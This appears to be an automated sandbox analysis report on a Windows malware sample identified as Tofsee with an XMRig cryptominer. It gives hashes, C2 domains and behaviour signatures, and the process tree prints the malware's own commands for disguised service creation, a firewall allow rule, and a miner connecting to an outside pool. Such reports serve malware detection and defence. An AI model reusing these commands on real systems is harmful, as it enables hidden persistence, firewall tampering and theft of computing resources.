Analysis

  • max time kernel
    147s
  • max time network
    154s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220901-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220901-enlocale:en-usos:windows10-2004-x64system
  • submitted
    09-01-2023 04:03

General

  • Target

    file.exe

  • Size

    260KB

  • MD5

    668eab4e7861433c3f9be42c3d243735

  • SHA1

    187ace33301253399570e27b932ae969737feced

  • SHA256

    072ccb1fdefeec0c942ec66943a650f9ac9fab1d491a255cd8db9f0ab4dc20f4

  • SHA512

    fbc2f651464346d8945cf9d34dec51ca0a4e61332c627b6fa66ac9a458c9ba38801b0f9e3cc585808d6663438fdab8a4729113e2148230e67a95f240ec8c4031

  • SSDEEP

    3072:kOXEYTwAL9pev5tZnt915pZxTv+0uR5+KEqARuh9hZCRRzMuWZgd3n:FrLCv5tZntvTTuR5+KEU1cqgd3

Malware Config

Extracted

Family

tofsee

C2

svartalfheim.top

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:3544
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\juitnoec\
      2⤵
        PID:440
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\brxejvzo.exe" C:\Windows\SysWOW64\juitnoec\
        2⤵
          PID:3508
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create juitnoec binPath= "C:\Windows\SysWOW64\juitnoec\brxejvzo.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:1732
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description juitnoec "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:5032
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start juitnoec
          2⤵
          • Launches sc.exe
          PID:4980
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:2480
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 3544 -s 1160
          2⤵
          • Program crash
          PID:3652
      • C:\Windows\SysWOW64\juitnoec\brxejvzo.exe
        C:\Windows\SysWOW64\juitnoec\brxejvzo.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:1588
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Sets service image path in registry
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:4548
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:4440
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 1588 -s 532
          2⤵
          • Program crash
          PID:3492
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 440 -p 3544 -ip 3544
        1⤵
          PID:4552
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 532 -p 1588 -ip 1588
          1⤵
            PID:3876

          Network

          MITRE ATT&CK Enterprise v6

          Replay Monitor

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          Downloads

          • C:\Users\Admin\AppData\Local\Temp\brxejvzo.exe

            Filesize

            10.6MB

            MD5

            6a7d972958281cfffdf7857d2ee80b89

            SHA1

            159c4db24a7e41a6a1ae13b1b789c4dc805c22bb

            SHA256

            b3f3dcf7d1a2a9166402b98674d6cb0b06c39521ce8ec54db9a4d5f922521e38

            SHA512

            5e7e0faf0dfdebc2a085b2385de526ed3d8426a97c5fa6e6797375d3636277aa60c4478e99e7527ec68364d4e2d43bf6f40657fca553ecd10b572187b1e2768c

          • C:\Windows\SysWOW64\juitnoec\brxejvzo.exe

            Filesize

            10.6MB

            MD5

            6a7d972958281cfffdf7857d2ee80b89

            SHA1

            159c4db24a7e41a6a1ae13b1b789c4dc805c22bb

            SHA256

            b3f3dcf7d1a2a9166402b98674d6cb0b06c39521ce8ec54db9a4d5f922521e38

            SHA512

            5e7e0faf0dfdebc2a085b2385de526ed3d8426a97c5fa6e6797375d3636277aa60c4478e99e7527ec68364d4e2d43bf6f40657fca553ecd10b572187b1e2768c

          • memory/440-135-0x0000000000000000-mapping.dmp

          • memory/1588-150-0x0000000000400000-0x0000000002BA9000-memory.dmp

            Filesize

            39.7MB

          • memory/1588-149-0x0000000002C89000-0x0000000002C99000-memory.dmp

            Filesize

            64KB

          • memory/1588-152-0x0000000000400000-0x0000000002BA9000-memory.dmp

            Filesize

            39.7MB

          • memory/1732-138-0x0000000000000000-mapping.dmp

          • memory/2480-142-0x0000000000000000-mapping.dmp

          • memory/3508-136-0x0000000000000000-mapping.dmp

          • memory/3544-144-0x0000000000400000-0x0000000002BA9000-memory.dmp

            Filesize

            39.7MB

          • memory/3544-143-0x0000000002E4D000-0x0000000002E5E000-memory.dmp

            Filesize

            68KB

          • memory/3544-134-0x0000000000400000-0x0000000002BA9000-memory.dmp

            Filesize

            39.7MB

          • memory/3544-133-0x00000000048E0000-0x00000000048F3000-memory.dmp

            Filesize

            76KB

          • memory/3544-132-0x0000000002E4D000-0x0000000002E5E000-memory.dmp

            Filesize

            68KB

          • memory/4440-174-0x0000000000480000-0x0000000000571000-memory.dmp

            Filesize

            964KB

          • memory/4440-178-0x0000000000480000-0x0000000000571000-memory.dmp

            Filesize

            964KB

          • memory/4440-173-0x0000000000481000-0x0000000000552000-memory.dmp

            Filesize

            836KB

          • memory/4440-172-0x0000000000000000-mapping.dmp

          • memory/4548-157-0x0000000001750000-0x0000000001756000-memory.dmp

            Filesize

            24KB

          • memory/4548-153-0x00000000001D0000-0x00000000001E5000-memory.dmp

            Filesize

            84KB

          • memory/4548-154-0x0000000002000000-0x000000000220F000-memory.dmp

            Filesize

            2.1MB

          • memory/4548-151-0x00000000001D0000-0x00000000001E5000-memory.dmp

            Filesize

            84KB

          • memory/4548-160-0x0000000001760000-0x0000000001770000-memory.dmp

            Filesize

            64KB

          • memory/4548-166-0x0000000006F80000-0x000000000738B000-memory.dmp

            Filesize

            4.0MB

          • memory/4548-163-0x00000000017F0000-0x00000000017F5000-memory.dmp

            Filesize

            20KB

          • memory/4548-169-0x00000000025D0000-0x00000000025D7000-memory.dmp

            Filesize

            28KB

          • memory/4548-146-0x00000000001D0000-0x00000000001E5000-memory.dmp

            Filesize

            84KB

          • memory/4548-145-0x0000000000000000-mapping.dmp

          • memory/4980-140-0x0000000000000000-mapping.dmp

          • memory/5032-139-0x0000000000000000-mapping.dmp